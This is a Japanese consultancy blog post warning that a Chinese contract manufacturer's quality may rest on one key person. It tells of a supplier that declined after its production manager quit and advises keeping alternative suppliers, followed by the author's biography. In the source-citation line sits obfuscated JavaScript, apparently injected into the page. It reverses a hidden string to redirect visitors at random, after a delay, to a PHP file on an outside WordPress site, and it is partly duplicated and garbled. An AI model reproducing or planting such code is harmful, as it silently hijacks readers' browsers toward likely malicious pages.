中国生産委託先との取引・どこかで見切りが必要!!

中国生産委託先との取引・どこかで見切りが必要!!

中国生産委託先の選定はどこの会社も
慎重に行っていることでしょう。
品質はもちろん重視していますが、
コストという要素も外せません。
コストありきで生産委託先を選定して、
あとから品質を何とかしよう、
何とかなるだろうと考えている日系企業もあります。

後付けで品質をよくしようと言う場合、
それが出来る見込みがあって然るべきです。
それがなく何とかなるだろうでは、
後で苦労するのは目に見えています。
もっと言えば購買担当者が地獄を見ることになるでしょう。

中にはコストを優先、品質はそこそこの中国企業を選んで、
思いのほかうまくいくこともあります。

中国企業に生産委託するのは、
コストを取りに行っているのですから、
コスト優先と言う選択があっても当然かもしれません。
しかし、こちらが許容できるそこそこの品質がずっと続く
保証はありません。

例えば、そこそこの品質が確保できていた要因が
人にあるとすれば、それは要注意です。
中国企業では、どんなに重要なポジションの人であっても、
いつ辞めてもおかしくないからです。

ある日系企業が生産委託をしていた中国企業は、
まさに前述の状態でした。
コストの安さで選定したが、
品質はそこそこで重大な不良の発生もなく
許容できる範囲でした。

その品質を支えていたのが、生産部の部長でした。
その人が常に陣頭指揮をとり、
重大な不良の発生を未然に防ぎ、
流出を止める手立てを取ってくれていました。

その重要なキーマンが会社を辞めました。
ご想像の通り、それ以降のその中国生産委託先の品質は、
だんだん悪くなってきました。

わたしがその工場を見たときは、
「どうしてこんなところで作らせているのだろう?」
と疑問に思う程の管理レベルでした。

その会社の品質は、その生産部長が支えていた訳で、
会社としての仕組みとかシステムで品質を確保していた
訳ではありませんでした。
従って、その人がいなくなれば、
その人がやらせていた関所の役割がだんだんゆるくなり、
やがてはなくなってしまうのです。

品質がよい中国生産委託先でも状況をよく把握して、
品質がよい理由を掴んでおくことが大事です。
品質がよい理由がなくなったとしたら、要注意です。

中国生産委託先で何が起きるかは、予測がつきません。
何かあればそことの取引を止めることが出来る状況を作っておくことが重要かつ必要です。
常に次の取引先を確保しておくことです。

中国企業との取引は、1度始めたら永遠ではありません。
よい取引先であれば、長く付き合えばよいでしょう。
しかし、こちらの要求を満たせなくなった企業をいつまでも引きずることはないのです。

 

出典:$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toimprove/entry-12287450038.html” target=”_blank”>中国生産委託先との取引・どこかで見切りが必要!!


KPIマネジメント代表・チーフコンサルタント◎電機系メーカーにて技術部門、資材部門を経て香港・中国に駐在。現地においては、購入部材の品質管理責任者として購入部材仕入先品質指導及び品質改善指導。延べ100社に及ぶ仕入先工場の品質改善指導に奔走 ◎東京都/千葉県商工会連合会専門エキスパート(品質管理、製造業指導) GCS認定コーチ◎日本生産性本部経営アカデミー講師 名古屋外国語大学非常勤講師 セミナー/企業研修講師多数◎中国工場コンサルティング実績 日系中国工場品質改善及び管理体制の見直し(広東省)、中国企業品質管理体制の構築(福建省1社)、中国企業労務人事管理監査対応指導(パートナーコンサルタントと共同で実施:広東省1社)、米国D社の労務人事監査指摘事項への対応を指導、中国工場品質管理体制の構築(広東、大連など2社)、中国工場運営管理支援(広東1社)、外観検査の精度向上指導(広東1社)、中国生産委託先工場監査代行(広東1社) 国内工場管理の見直し及び製品コストダウン、外灯製造会社の5S指導、金属加工会社の品質管理・改善、生産性向上指導(1社)、金属加工会社の組織再構築、経営改革指導(1社)、板金塗装会社の5S指導(1社)、環境関連企業の新工場立ち上げ支援(1社)◎製造業向け社員研修実績 中国人管理者教育(広東、大連、厦門など3社)、コーチング研修(2社)、来日した中国企業スタッフ研修、中国赴任前研修(パソナ様)、若手社員向け中国工場の問題点と対処法(和歌山県工業技術センター様)、中国工場品質管理講座&異文化コミュニケーション(富士通テレコムネットワークス様)、仕入先様品質管理勉強会 テーマ:中国工場での品質管理の進め方(株式会社オートバックスセブン様)、中国への生産委託に伴う工程/品質管理のポイント(N社様、I社様) ◎著書 こうすれば失敗しない!中国工場の品質改善<虎の巻>(日刊工業新聞社)、雑誌「標準化と品質管理」2012年8月号特集記事執筆(日本規格協会)、外観検査の不良見逃し・ばらつき低減(技術情報協会・共同執筆)、通信教育講座「外観目視検査の進め方と留意点」担当講師(テキスト執筆、添削指導) ◎KPIマネジメント http://www.prestoimprove.com/index.html ブログ「中国工場での品質管理・品質改善」https://ameblo.jp/prestoimprove/